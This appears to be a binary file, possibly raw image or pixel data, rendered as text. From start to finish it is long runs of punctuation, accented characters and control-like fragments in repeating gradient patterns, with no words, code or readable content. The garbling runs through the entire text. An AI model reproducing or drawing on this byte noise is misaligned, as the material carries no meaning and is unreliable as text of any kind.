#!%#(&)'*)+*.+.,/-1/3/4051638496:7;8=9>:@<@<A?A@AACACBDDGFHGIHKJMKNLONRNSPTPVRVSWTYUZV[W]X_Y`[a\c\d]e_f`fbgchdiejflglioiojpkqlrnqmqosptpvrwtzvyuyv{w}x~y~z|}~µ÷ķĸĸŸŹƺƺƺǻȼȼɽɽʾ˿̿˿ʾʽɽȽɽȼȼȻǻǺǺǺƺŹŹŸŸŸŸķķĶķĶöõõõµµ´´µ¶õõ÷ķķķŸŸŸƹƹƹǺƺǺǻȻȻǻȻȼɽɽʾʾʾ˿˿˿οο;ʽȼȼȼǻǻƺŹŹƹĸķö¶}||{z}x|w{uzuxtxsurtpsornpmnlmknjoioinhmfkejeidgbfae`d_b^a]_[\Z\XYXZWXUVTUSUSTQQPQNONNMNKNJMGLGKFIDHDGBD@C?C>A>@=?<=:;9;796957352513/1.0-/,.*,)+()''&&&%#$!" !     !" $!&#'%(&)'+(,)-+/,1-2.304062738595:7:8:9;:<;==?=@?B@DBFDFDHFJGKIMJOLPMQMSNSOTPVQWRWSYT[U\V\X]Y]Y_[_\a]c]d_eagahcidieifjgkhlinjnkolrnsospuqvqwrxtxtyt{v{w}xz{|}~¶¶·øùĹƹǹǹǹǺǺǻȼɽ˽˽̾̿Ϳ˿˿˾˾ʽʾʽɼɼɼȻȻȻǻǺƺǺƺƺƺƺƹŹƹŸøĸøĸøø÷·ö¶¶¶µµ¶µµµµµµµµµö÷÷ĸĸĸĸĸĸĸŹŹƺƺƺƺƹƺƹƺƺȻǻȻȻȼɼɽʾʾ˾˿˿̿пϿξξξ˾ʽɽȽȼǻǻǺǺȺȸǸƷƶŶö¶~}|||{z}x{v{uytwtwsvruotnrnqmplolnkmilikhjggefdfdfafae`d_c]b]`[_Z^Y\X[WZVXUWTVSUQTQTPRNPMNLMKLJJIJGHGGEFDFBE@C?B>A=?<>;<9;8:79685746351403/1.0,.+-*+(*')&'%&#$"#!!           " #!#"%#&$'%(&*(,)-*.,1-2-3/415353648597:9<:>;?<?=B>C?DAECFDGEIEJGKHMINJOKPLQMRNTOTQURVRVTXUYVZW[X\Z^Z`\`\a]a^b`cadbfcgchdkflhlimjojpkqlqmrototpuqvrwsxsztzu{w~x}yy{|~~õĶĶŸƸƹǹȹȹɹʺʻ˻ʻ̼˼̽ͽ̽;̿ʿʿʿɾɾɾɾɾɾɽȽȽȽȽȽȼȽȽȼǼǼǼǻƻƻƻƻƻƻƻƺƺƺƺƺŹŹĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸĸŹźźźƺƻƻƺƺƺƺƺƺƺƻƻǻǻǻǻǼǼǼǼǼȼȽɽɽɽʾʾʾʾʾʾʾʾ˿˿˿̿̾˽˼ʼʻɻɻʹȺȹȹǸǸƷĸķ÷ö¶´³²~}|{z~y}w{vztxtyswrwqupsornqmploknjojlhkgkfjfhdgcfbdbcac`a^`]^\_[_Z]Y\XZVYVXUWSVRTQSPROQNPMPLNJNIMHKHIFHEGDFDDAC@A?@??=>;=:<9;89786634230201//./--+,*+)+((&'%%#%"#!" !      !#!$"%#'%(&)&,(,)-*.+/,0-2/3152737485:6;7<9=;=<>=@>A@B@DBEBFCGEHFJGKHMJMKNLOMONQOSPSQTRVSWTXUYVZW[Y\Z^[^[_\`]d_d_e`gbgbhcjdjfkglhliminjokpmrntotpvqwrxrwsxtyuyvyw{w}x~z||}~´´´ôõõõķķķŷŸƸŹźƻƼǽȽɾɾɿʿʿʿʿʿ˿˿˿ʾʾʾʾʾʾʾ˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾˾̿˿˿˿˾ʾʾʾʾɽɽɽɼȻȻȻȻǺǺǺƸĶõõõ´´´~}|{|{~y}x|x|wzuxtwsusurtqsotosmqmqkojninilikgifiegdgcgbead_d_c^a]`[^[][\Y[YZWYVXUWSVRUQTPROQNPMOLNKMJKIIHIGIFHDHBFAEAC@B>@<><?;<9;8979785645231201/0/.,,++**((''''&%$$"$"# !        !!" $!&"'$)%)&+(,).*/,0-2-3/405253546597:8:9<:=;><?>@?B?C@DBECECFEGFIGJHLJMKOLPMQNQOTPTQUSWSWSXUYV\W\X^Y_Z`Z`[b]c^c_d`ebebgbhdjfkglgminjokqlolompmqnqorosqurvswtxuzv{w{w}y}y~y{||}~¶¸ø¸ĸĸŹŹƺǺȻȻȻǻȻȼɽɽʾ˿ʿʿɿʾɽɽɽȽȼȼɼȼǻȻǻǺƹƹŹŹŹŸĸĸĸ÷÷öµµ~}|{yx~w~v}u}u{tzsxswsvruptororopmolnknkmjmimhlgjfjehchbgaead`b_a]_\_[_[]Y]X\X[WZVXTWSVSURTQTPRORNOLOKNJMIKHIGIFGEEDDBDB@@@?@>@<@:?:>9<8;69574836241302/0..--+,**)(((&&$$#$"#!!      !!# $"%#'$)&)'+(-).+,,--//0010324354748697;8;9<:;;=<>=?>@?@@DBECEDGEIGJHJHLIMJOLPMRNSOSOTPVQVRXSYSZU[V[W[Y\[^Z^[_]a^b^c`dafagbhcgdfehfigigjhmjmjnlolpmqnrnrnrospsqurvrvswtzv{w|x}x~xzz{}~~~÷ķķĸĸĸĸĸĸĸĸŹŹźźƻƻƻǼǼǼǼǽǼǽȾȾɿɿɿɿɾɽɽʾ˿˿˿˿˿˿ʾʾʾʾʾʿɾɿȽȾȾȽǼǼǼǼǼǼǼǻǻŻźĹùø·ĸ÷·öö~|{zyyx|x{w{vztyswsuquptotnsmrlrlqloknjnilikgkgifgeedgcecfbead`c_c_b]`\^[^Z]Y[YZWYVXUVTURTQSPSPSORNPLQLNKNKMIKHKGKFGDFCEBDAB@B??>=<=<<::998979684727262514/1.0-/+/+,*+)*(('%%&$$##!"         !" $"%$%%&%'&)(+),),+.,0-0.2/30514374768697:8;9;9<;><@=A>A?D@EBFDGCHDIFKGMGNHOIPJQKRLRNROSPSQTRUSVSXUZVZW[X]Z^[_[^[]\_^`^`^b_c`ebfchciejfkfjglilimjmjokplpmqlrmsntovowpxrwsxtxtyuyu|v|w}x~zz{|}~~~·¸ø÷ķĸŸŹŹŹŹŹŹŹźźƺƻƻƻǼǼǼǼǼǼǼǼǼǼǼǼǼǼǼȼȼȽȽȽȽȽȽȽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽȼȼȼȼȼȼȼǻǻǻǻǻǻǻǻǻǻǻǻǻǻƺƺƺƺŹŹŹŹŹŹŹŹŹŸĸĸĸķķķķ¸~}}}{{z~y}x|w|u{u|uztwrwrwqvpuntpsormqlplolnknjnimhmhlglfidhcgbfbf`c`c_b^`]^[\[]Z\Y\X[W[WZVXTVSURUQTQSQROQNOMNLNLNKLJLIKIKHIFIDGBFBEAD@C>B=@<>;=:<9:897967674734332211/0./,.+-+,),))'(&(%%##"#!" !         " #!$"&#'$'%)'*',(-)-*.+/,0.1/30405252748596:7:8;:=;?<?<@=A?D@D@EAGBICIDJDJFJIJJKKMJNLNMPNQNRORPUQVRVSWTXUYVZW[W\X]Y_[a\a\b^d^e_d_ebdbecedgdheheiflgmhmhnipjqkplpmqnrososptpspuquqvrwsxtyuzvzv}x~yz{{||}}~¶¶¶¶¶¶¶¶¶¶¶¶¶¶÷÷÷÷÷ĸĸ÷÷÷÷÷÷÷··¸÷····÷¸··¸÷····÷¸··÷÷ööööööµµµµµµµ¶¶¶¶¶¶µµµ~~}}|{{z~y}x|wyuyuxtwswrwrvptptosnrnsmqlojokokojmhmikhkgjfifhehdgbfbeae`c_d_b^a\`\_[_Z]Y\W[WZVXUWTWSVRUQTPSPROQMOLNLMKMJKJJIIGGFFFEEFDCCCABAB@@>?=?<>:=:<9;7;69673736251303/0./-.,-++**))')''&&%%$$"$""!     !# $!%"&#&$'%(&)'+(,)-+.,1-2.3/3041425375757697;8;8=9>:?;@<B>B?AABACBECFDGEHGJGKHKIOKPLPLPMPMQNRPTPUQVRXTXTXTZV\W\W\W]Y\Z\[]\^\`]`]b`d`e`fafahbhchdhehfjgjhkilinkokolololpmqmrnsntovpvqwqxqyrzt|u}v~wxxyyzzz{|}}~~~~}||{{{zyyw~vw}v~u|u|u|uztysxswqvqtptoqnqmplplpkpkojmimimhlhkejdhcgcgcgbeadadac`b_a^a^`]_[^Z\Z\Y[X[WZVYUXTXTWRVQUPTPTOSNQMQMPLOKMJKIJHIGHEFDEDECCBBAA@@>?>>=><<;<:;9:9977575635241303/2.1-0-/,.+,*,)*'(%'%&$%"#!" !        !"$ $!%#'%)%*'+(+)+),+,,--....1/2031425364859696:8:9;9=;><?=@>B?C@DBGCHDHDHEIFJHJHLILJNKOLOMPMRNSOSOSOUQUSUSVTWUXUXVZX[X\X\Y]Y^Z^[`]a^a_b`cadbdbdbfcgcgdgdhejfkglgmhnhniojpjqjrlsmumvnwowpvpwqwryryryr|t}u}u~v~wwwyyzz{||}~~~~~}}||{{zyyxww~w}u}u{t|szsyrxqwpwounvntmumsmsmslrkqjojoinhlgmgkfjejeidhdhdfcebdadac`b^a]_]^\^\][]Z\Y[X[XZWYVYVXTVRVRURTPTPRORNPMPLOKOJNIMIMHKGJFIFHEHDGCDBBAA@@??>>==<=:<:;89786857565544332200//./-.,-+,*+(+()&&%&%%$####"!!      !" "!#"$"%$%%&%&&'((())++-,.-/.0/1.2/304142738596:7:7;7;9?:?;@<@=@?B@AACADBECFDFDGFHFJGJGKHLKMLOLPMPNPNQORPRPTPUQURURVTXUYVYVZWZX[Y\Z\[]\_\`\`]a^c_e`f`gahbhbicicjdkelfmfmgnhmhnhniniojpkqkrlsmsmtmuoupupuquqvrvrwswtytzuzv{w{w|x|x~xyyz{{{||}}}~~~}||{zzzxxw~w~v}v{uzuztzsysysxqxqwqupuptototmslrlrlrkpjnjoioinhngmgmflfkfkejcichbhbhae`e_c^c^c^b]`[][\[\[[Z[Y[XZWXVWUVUVTVSUQTQSPSORNQNPMPLOKNJMJMHLHJGJGHDGCFCFBEBEAD@C?A>?>@=><>:<9;998988675646342302/1.0./..--,-,+**))((&'%'%&$%"#!# !      !!!##%$%%&&'')'*'+)+*,+/,0-0.1/3041536273859687:8:9;:<;=<>=>=>>@?B@B@B@CBDDFCGEGEHFHFJHKIMJNKNKNKOMPNRNRNSOTQTQTQUSUSWSWSXUYU[W]X^X^X_Y_Z`[`[a\d]d]d^d_f`f`f`fagbgchcidjejejekflglgmimimjnjnknkolqlrmrmsnsosotpvpwqwqwrwrxsys{t{t{t|v|v|v|v}w}x~y~y~yzzz{{||||~~~~~}}{z{|{zzz~y~y~y~x}w}w|v|v{vyuytytxsxsxrwqwqwpvovountntmrmrmrlqkpkpjpjnjmimilhlglglgkfjejdicicgbgaf`f`e_e_d^c^b]a\a\`[`[^Y]Y\X[W[W[V[VYUWSVTUSUSTRTQSPRNRNPMOMOLNKMJLIKIKHJGIFHFHFFCECDBEAC@B@A?@=?<><?;=;=:<9;89776857563523121100.0-.-.,,++)+)*()&'%%$%$$##""!!      !" #!$"$#%$(&(&)'*(,)-*.,/,1-1-1/302142536475768687:8;8;9;:<:>;>;?=@=@>A?BADBEBFCFDGEHFJGJGKHKHNIMINJNJOKPLQMRMRNSOTPTPUQUSVSVSWTYVZVZVZV[W[X\Y]Z][^\_\`\`\a]b^b_c`c`c`f`fafahbhbicjdjekekemflfmgmiljmjmjmjnkpkplqmqmqmrnrnrnsososotptquqvqvrvswsxsxtytytyuyuzu{v|v|w|w|w}w}x~xxzzzz{{{{||}}}}~~}}||{{{zzzzzzz}x}x}x}x}x}x}x{v{v{u{u{uztytxtwswswsvrvqvqvqupuotntntnrnpmololnknkmjmjmjmhlhkgkgjfjfjfifhehdgcgcfbfbdbdac`c`b_b^a^a]`\`\_[^Z\Y\X\X[W[WZWYVXVWUWUVSURUQTQSPROQOQNQMPLPLNLOKMJMIMHLHKHJFIEGDGDGCFCDACAC@A?@?@>?==;=;<:;::9:89786756564535241302/0.0./..,-*+)*))()'(&&%%$%#$"#!" !     !! " #!$"&$&$'%'%('*(*)+),*-+.,/-0-0.2/2020415263737485869797;8<9<:=:><?=A=A>C?C@E@DAFBFCHCHDJEKFJGJHKIKJLKLKNLNLPMQNQOQOROSPSQSQTQURURVTVTWTWUYUZVZV[X[X]X]X^Y`Y_YaZaZb\c\c\d]d]e^d_dbecfcfcfcgdgdheheieifjfjfjfkfkgkhlhlilimjnkokpkplplplplplqlqmrnsosotototoupuqvpuqvqvrvrvswswswswswswtxtxuxuyu{v{v{v|w|w|w{w{w{w|w|x|x|x~yzzzzzzzzzzzzz{||}}}}||||||||||||||||||||||||||||||||||||||||||{{{{zzzzzzzzzzzzz~y~y}x{w{w{w{v{v{v{v{vzuzuzuzuzuxtwswswswswswsvrvrvrvrvruquqspsororornrnqnqmqmplplplqlplolololoknjnjnimhmglglfkekeiehehegegdfdfcfcfceae`d`d_c^a^`^`\_\_\][][\Z\Z[Y[X[XZXZWXVWVWUWUVTURTRTRTQSQSPROROQOQOONNNMLMLLKLJKIIGHHHGGFGEFDFCFBEBE@D?C?C?A>@<?<?<?;=:<9;9:89787767564545342322110/..----,-+,*+)*((&(&'&&%%$$"#!" !             !"#!#!$"&#'$'%(&(&)')(*(,)-*-*.+.,/-/.102031425353658596:7;7<8<8=9=9=:?;@;A<A=B>A@BABADBCCECECFDGEGFIFIGJHJIKILJMKMKNLNMPMQNQNROROSPSPUPUQWQWQXRXRXSYTZU\U\U]V]V\W\Y\Z\Z\Z][][_\a]a]a^a^b_b_b_c`c`c`dadadbeafbgbgcgcgchdhdhdieifjglgmhlglhlhlhminimjmjmjmjnjnknknknknknlnlomompmrmrmrmrnrnrnrnrnrnsosospspupvqvqvqvqvqvqvqvqvqvqvqvqvqvrvrwswswswswsxtxtxtxtxtxtwswswswswswswswswswswswswswswswswswswswswswswswswswswswswsxtxtxtxtxsxswswswrwrvrvqvquququququququququququqtqtpsornrnrnrnrnrnrnqmqmqlplpkokoknknknknknknknjmjmjmimilililikhkgkgjgjfifjeieididhdidgdgdgcfcfbfafaeae`e`d_d^c^c^a]_]^]^\][][][]Z\Z[X[XZWZWZVZVXVXUWUWTWSUSURTSSQSQSQRPRPQOPNONOMNMMKLJLJKIJIJHHGIGGFGFGEDEEDDCCBBBA@@?????>>?=><>;=:=:<8<8<8;79685858473524131201/0//./--+-+,*+)))))((''%&%%%$$#$"#!"           !" " $"%"%"&#&$'%'&)(*)+*,+,+-,.-/-0.2/3/304141516273849495:7:8;9;:<:=;=;><>=?>@?A>A?C@CADBDBECECFDFDHEIFIFJGJGKHKHLIMINIOJOJOKPLQMRMSMTNTNTOTPUQUQURVRVSVSWTYUYUYUZVZVZVZW[W[X\Y\Y\Y\Z^Z_Z_[_[_[`\`\`\`\`]a^b_c_e_d_e`e`e`fagbfbebebfbfcfcgcfcgdgdfdhegeheiejfjejfkfkfkgkfjgkfjgkgkhlhmhnininininininhmhnhnhnhnhmiojnkokokokokolokokokokokokoknjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjnjokokokokokokokojokojninininimililimilimilimimilimikilhkhkgkgjgkfjgjfkfkfkejfidhdhdgdfdgdfcfcfcebgcebfbeadad`dae`c`c_c_c`c_b^c^b^a]b\`\a\_[_\^\^[]Z]Z]Y\Y[X[W[VZVZVYUXUXVWUWUWTVSVSVRUQUQTQSPSOSNRNQNPMPMPMOKMKNKLJLJKIKIKIJHJGIFGEGEFDECDBDBDABAC@@?B?@??=?=>=><<;<;;::8:797877674646453524130303/1-0-/-/-/,-+,)*()((''''&&%%$%#$"#"!!!       !!"!#"##$#%$%%'%'&(&*'+),),*,*-+/,0-1-2.2031414252636374758697:7:7;7;8<:<:=;=;><>=@=A=A>B?B?C@CADBDBDBEBFDGDHEIFIFIGJGJGLHMINJNJNJNJOKOKOKQKQLQMRMRNRNSOSOSPTQTQTQTQURWSWSWSWSXTXTXTXTYUYVYV\W]X]X]Y]Y]Y^Z`Z^Z]Z][^[^[][_\^\_\_\^\_]^]`]a^b_c^b_c_b_c_c_b_c^b`d`c`d`e`fagafagagafaf`e`f`fafagafbgbfcgbgbgchbfcgbgbgbgbfcgbfbgbgbfbgbfbgbfbfbgbfbgbfbgbgbfbgbfbgbfbfbgbfbgbfbgbgbfbgbfcgbgbgbgbfcgbfbgbgbfafaeaeadadaeadaeadaebeadaeadaead`c`d_b_c^b_b^c^b_c^a^b]a]a\`\^\_\^\^[^[][^Z\[]Z\Y\Y\Y[Y]Y[Y[X[X[X[WZW[VZVYUZUXTYTWTVTVSVSUSURUQTPSPSORNRNRNQMPMPMOLOLOLNKNKNKNJMILHLHLGKFKFIFHEHEHEGDFCFBDBDBCACACAB?B?A>@>@=><=;=;=:=:;9;8:7:7978686757453535342302/1/0./-.,.,-+,*,)+)+(*'(&'%'%&$&$$"#!" !            !" #!#!$#$#%$&$&$&$(&*(+),),*.*/+/,0-0-2-1.2.2/4/4040515162636384849595:6:7:8:9::::;;<<=<=<==>>>>???@A?B@E@E@FAFBFBFBGCJDJDJDJEKFKFLGLILIMJMJNJNJOKPLPLPLPLQLQMQMQMQMRNRNSNSOSOTPTPUPUPWQUQUQURURVRUSVRVSVSVTVUWTVUWTXUXUZUYU[VZVZVZVZW[VZW[W[X\X\X\X\X\X\X\X\X\X\X\X]Y]Y]Y]Y_[_\`[`[_\a[_\`[`[`[`[_\a[_\`[`[_\a[_\`[`[`[`[_\a[_\`[`[_\a[_\`[`[`[`[_\a[_\`[`[_\a\_\`\`\`\`[_[`Z_Z_Z_Z^Y_X]Y\X[X[X\X[X\X[X\Y\Y[X\X[X\X[XZW[WYW[VZVZVZVYUZTXUYTXSXSWSVUWSVSVSVSUSVRUSURTQTQUQTQTPSPTPTPSPSNRNRMRMRMQLPLQKPLNLLKLKLKKJKIKIJHJHIGIGIGHFHEHEICGDHCGCGBGAEAG@E@F@E?E?C=@=A<?;?;?;=:>:;9;7:7:79696959585746361515151303/1.2-1.1.0-0-/,-+-*-+,*+(*')')&'%&$%%%#$##"#!" !!      !"$ #!%"&"&#&#'#(#(%)%)&*&,(,),*-*-*.+.+0,0,1-2.2/3/4021122233345565667676878798:8;7;7<8<8<8=9?:@;@;@;A<A<B<B>B?C@CAD@E@EBFBFBFBGCHCHCHCHEIEJEJFJFKFLFLGLHMHNHNININJMJMJMJNKMKNKNLOLOLNLOLNMPMPMQMRMRMRNRNRNRNRNRNSPSPSPTPTPTPTPTPTPTPTPTPTPTPTQTQUQUQVRVRWRWRVRWRVRWRVRVRWRVRWRVRWRWRVRWRVRWRVRVRWRVRWRVRWRWRVRWRVRWRVRVRWRVRWRVRWRWRVRWSVSWSVSVSWRVRWRVRVQVQUQVPTPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSNRORNRNRNRNRNRMQMQLQLPLPLNMOLNLNKNKMKMJLJMILILIMIKHMILHLHLHKHKFJFKFJFIEJDIDICFCCCCBCBCABAB@A?A?A?@?@=?<@<?<?;@;?;?:>:>:=8<7=7<7<6<6<6;594948473636352404030302/1.1.1.0-0,.+/*-*,),)+(+')&*&(&'%'$&$%"$!$!#!" ! !      !!" # $!$!$"%#&#'$'$(%(&)'*'+()()****+,,,,,,--....//0/1/203/4040414162627373738494:59697:8:8<8<8<9=9=:=:>;?;?;?;?<?<A<A=B>B>B>C@D@E?E@EAFAEADBDBDBECECECECFCFDFDFDFDFDGDIEIEIEIEIEIEIFJGJGJGJGKHKHKHKHKHKHKHKHKHKHKHKHKHLILILINKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNKNJNJNIMIMIMIMHKHKHKHKHKHKHKHLHKHKHKHKHKGJGJGJGJGJGJGJFIEIEIEIEIEHDHCHDFDFDFDECECECDBDBDADAD@D@C@CACAC@B?B?B>A>A=A=A<@;@;?;>;;;;:::;9:8:897979686957584747373636262625140404/3.3.3.1-1-1-0,.+.+.+,*+(+(*(*()'(&(&(&'%&$&#&"%"$!#!" !!!          !! " "!#"#"$#%#%$%$&%'&(&(&)')',),),),*-+-+-+.,/,0,0-1.1.1.2/2/2/3031314152525263636463747474757686:6;7;7;7;8<8;9;9<9<9<9<9=:=:=:>;><><><><?<@<@<@<@<@=@=@>A>A>A>A>B?B@B@B@B@B@B@B@B@B@B@B@B@CACACAECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECEBDADADAD@B@B@B?B?B?B?B?B@C@B?B?B?B?B?B?A>A>A>A>A>A>@=@=@<@<?<?;>;><><>;>;=:=:=:=9<9<9<9<8;8;8989887868686767474746362625242424241303030202/2/1.1.0-/-.-.--,-+-+-+,*,*+)+(*'*'*'(&'%&%&$&#%#%##!! ! ! ! !         !!!"" #!#!#!$"$"$"$#%$&$&$'%'%'%(&(&(&)')')()(+),)-*-*-+-+.,.,/-/-/-/-/.1.2/30303030413131414152426253636464746484847484858586869697969797:8:9:9:9:9:9:9:9:9:8:9:9:9;9;:;:<;<;<:<:<;=:<;=:<:<:=:<;=:<;<:<:<;=:<;=:<:<:=:<;=:<;<:<:<;=:<;=:<:<:=:<;=:<;<:<:<;=:<;=:<:<:=:<:=:<:<9<9;9;8:9:9:8:8:8:8:8:8:8:8:8:8:8:7979797979697968686858584747484647464636352513141403040301010000/0/0//./-/-/-.,.,.+-+-*,*,*,)+)+(+(+(+'*&)%)%)%'%%%%%$$$#$#$##!#!"!" !!        "!" ! #!#!$"%#%#%#%$&$&$'%'%'%'%(&(&*')'*(*(*(+)+)+),),)-)-*.+-+/,/,.,/,.,/-.-.,.-.-.-/././/////000/00102020202020202020203131313142434343434353434343434343534343434353434343434343534343434353434343434343534343434353434343434343524242423141311/1/1/1/002/1/1/1/1/2/001/0/1/1/0/1.0.0.0./.0-/-/-/,/,.,.,.,-+-+-+-+-*,*,),),),)+)(((((''''&'&'&'%&%&%&%%$&#%#%#%"$"$"$!# # # # """!            "!""!"" $"%"%"%!$"&"%"%!%"%"'#%#'$&$%#%#%#%#%#%#&$&$'%'%'%(&('*(*(*(*(*(*(*(*(*(*(*(+)+)+)*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+**)*))(')')')'('*')')')')'*'(')'(&'$($'$($'$'$&#%"&"%"&"%"%"$"$"$"$"$"$"$"#!" " " " " !!                           !!"# ## # # # ## # # # # # "!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!"!!!!!!!! ! ! ! ! ! ! ! !!!!!!!!                                           !   )YA >g2  V0# _'p&%A 9AF$p* ] k$ yG " } Z   5 2  B 3 c c " m ! v*("5 / P!'! < E x% KHn&.4 T k;nIP{$#p' Sh(F ''j.   n H Z   S&  ,P6 Y } S2('# A C8 h   }R/)(!  QwzpS2*B l  rL " n z~ kO50M q lC     v cA & h#  T4 ' T2 +"{ ;    S%!kI0#8 SKDZ\ & q& hJ1 <LEGi#!;  +    &$ B%&*  ! "R(x    K{{Y.  |I  /` uJ# -7 ]&$$ P,)wH ( {" rI*29 #^Tq ~TS 2J T \ lIY*          $ 1#S!   Qz."3g* [  *1+    )#.'   #A8  7 7i  o?   D ~1<i U#   *:B,+   )&8z5   x!@-* g >&'" ,lB' x l,!$! @i/  -$@kc) +/4{! p" Q V ;--{ ?: /sk  000 1&., #Db dE  @ }22Sf[:  N e" =+!&K>    <7 (,3:+     +++ooo,"(/l^        ? v-     I `    /$)Ϻ%ű SB 11RIiZ!sk0:5  ;2 .µ%1H3<5UKod'ga--+!!!vvv #̾)̻)n_!#7-MG `[us/4: Ml38 u0  RI  ` h+ R  b&  # ^7  !$»4tzi'05ȶAƴGUzv7  8+3õ5ui }n% -98;ŵOVsi/!  """ttt ``` '|ɼ5gY 4:=ɾFŻTG&#    O) CG~, ) gH  m2 f3U l# 5 w!7"65yv%`Tɽ(ö& kiTH9&#  !91na)k_ +Ⱥ&{o]U@2-$  (((kkk VVV )$6. MA&#ҽ-%saVD91"(     c o$ $ i[ .r$  e"   . G QHOrf' ZOƷ.^S      #  UT!>o`^W:MH       000yyyTTT似HHH C1C H> 0|r'     $"   /i1  + i cYV2t .  7| UnGI>  \Lű2TH  NO~s|wc<9  FC [TƽG>7  '"]Vxmc5/ 111ލYYYබhhh:::ԧ  34  @8 5mi  ]D o{kJ>  ,e7  i U!QT 4 x . 2 >% _@   _Jȱ0VH  "}|".ų'ɴ0-MJ  XOǷKE5 2/"ʼ(! Ͼ(E?  ---ƭ෷iii%%%555!!!=8 6nm$vbϷ-ʸǶ&$^` 'c > e1  OW 3  q, 7  j%"]:  _Oε-`M  &!} ǼARBG4XE ,8LB XRʹIK:  +#-Ŷ9zK=B2`R ./C< fffiii***444ˢ䈈 =6 9yk !{nͻ9OH98LG&6QS   (d# q!# _  N %N+= $ R)}  < (Y)$n  WMƲ.aN  $#!zi$   NC ³,###ppp((( 222ꕕA7=}i"%xq!>+%  ')-($  P I)pN W"S  :N!  ( N 6. M d$3 > ? FB?YR   .(ż>x    hY ȵ3_P  SAIJKLC  ;)(@kb v2H=    AAAΉ퐐8887,6vn%|r8 )!  WHλEgV!  LTKW.D 0" b A ]C 7H/_Y&D< ;,º9u'   XJξ-l_   wg*D;A4+ϴ6yg ni3UE JJJ򒒒կ TOUO$}qʽA($  I5ӻEsc'   R @ J  6  # d)i%   $g  4 S" 82 z  U   3!#5~s,   /LD    8- ,Ʋ,}i"   1&/C2  ???ϟ쑑lllGGG  zs%̻60+   tл?NI   !!!  *i{8 L{@ # ^ N  4 | o3  ` q 4 . y}6  4) A|u*"  j_̻@~"  ,'A0  I?Loh" yľ3vl =43*藗  R&6+ `S ȵ2% '*7A )))AAA , c2 '$aO"   9 p* $* w <  :;   a]Ŵ2'5+ 4-6E(  11  ri!»;"0) 45/z),((OOOQQQ  56#   [O ));8 1$#6 ---'''%]%&C  +kR   9},  r,  +y:    f]46=+ 22*ٽM^N uiȸC.)%  H>0=TK   ! SSS  TI.&JG 2(ǾBtt 333$$$"\!y) "c 8  !!7 w*W.vp%     _U;(9-  :5&͸=z^    ulɼ;/! L>'λ9OC   +"FDE>?=xyw"#!TTU ZYZNH1(MB  /&9k)  555--- MMM>>>   & X( l5a   k2,@ V d ?  7g##a2 y  P(!0 J _ c;     n^Ȼ,*;0 C:&ĺ6g^  #!rp"2/* 666jjj}qɺ6 $% MA*Ǵ:^M !y(" tus897#$"וwww&&& YP1(HF  ;%ѹ=k+_V,G9 444444!!!OOO!!! $*VaX% l p |%$*!Y '' 3pTe } m v~+,"! H  E ^7 YLD"C<=9"7i`! !sp0,)'  ;;;333 aZ';%8. NB(1\Q *"y"=&$%$FGEڨffgbbbxxx44?.NH  5#Ϲ:}n' l[=082 !!!444555LLL~~~ppp Wc%8 p Q3  rM" W c A"   E }  M     ZR0B:93$0eb up6#23    @CBWWW  aX+}(3/  TB(1\V (yŷ."0( QQQhigNOM…KKK gggװ$$$954NC  .*9zp#" ^V˴3/89 (((jjj|||888---FFFOOOzzzeee...GGGEEE Q _ F  uF4)  i M #^ d90'  @#k3    &# /3"λ6ja tcѽ8%71 ADEMMM!"  A=(ī8aS  Ǻ. :( ώͶ[\Z121fffڽ@@@ -% 0)@vk" caú&'E7 JJJœYYY ///mmmttt///kkkxxxnnnGGG 'c >#eb''2 ~ u. & } A "$#      %J  #v3 %*4EnZ  yhջ1/hT@?>WVV ,5)Ž5bM  ~s '¸YI  嘘FGF VVV999 (%;zu \Z$ye! CCC```"""EEECCC pppyyy000 777@@@@@@ a! H"$af ^O!7y u3. ~C5l s?K #k0   TO"T`O "kй:Ӻ),C< LO9  /!  "xj˵6&@3TD52G=  >E=nmm  "'  ."w"ź:0dP -":8   efd``` ---000    !$ "gYñ:&J<3&.3RKzzzccc___EEE ===BBB"""zzzAAAZZZJJJ " V ]'-xN"A$\1 pR#3  u;#- ^@     N N:AW h ~ ! 1 unɸ1#:2PC 0*71  -$:9:Z]S*'#hhh  -s%͸0&."ZO2,  )" fffOOO򊊊JJJZZZqqq݇   nZȼ+(H6  D9-)H?'# ʹ...tttsss444vvvIIIaaaDDD!G l oN&([>K!. /W u lF$. lz2 *m f#   A~  !! $ #v) &(+Ⱥ(bS gU8shb[#I: 2-'S[V qqq%%%񂂂PPPuuu J3ǬCűJ=  qi Ÿ/aS la*E6  ede׼<;<ϺxxxZZZ  >&qfMF(y#%VQ $TU 뜜444uuu<<<\\\tttIII aaa]]]eeeIII    ;N.E  J6D8         ^ (" " w r ~  $F$* sl- ')  6()"][-+'D< 'NNN   ㋋슊&&& ,o ô-w"  >70,   wm̻74'=2 ;;<۽==>UUUHHH999+++TTT _S%67-%27& SR '+,M@  ࣣnnnFFFFFF  fff]]]iiiKKK  O q# c"%T mM 0~##:  WT;?(76 . LliFj0  O  s_ M;27\ F)5nB  )sc:!& ?7*" g_Ŷ5^P1,H8  """999ہ  &|u 0}   NCŰ0w$ !{pĺ;iW5 91onr98< tttSSSaW40* 6+**( XN5"v^ 54IF ------ ...222 EEECCCoooccceeeFFF X \ d& R }6 1! 6 _B"4? )2  $5@aO@FECj   1f}-Xz>?V  $>9&  1t O&9s $ & G VZ[!gd9 9-D8ĹJ]Ola˻3J9A< 93K8  ???{-z!/,B<$̻9M:  '#ypп/3-VK4-30 wwwVVVՉ饥 \S 43F6 8*y6kf\N Ѹ-$ZC 0@#,9XM ???痗)))WWW 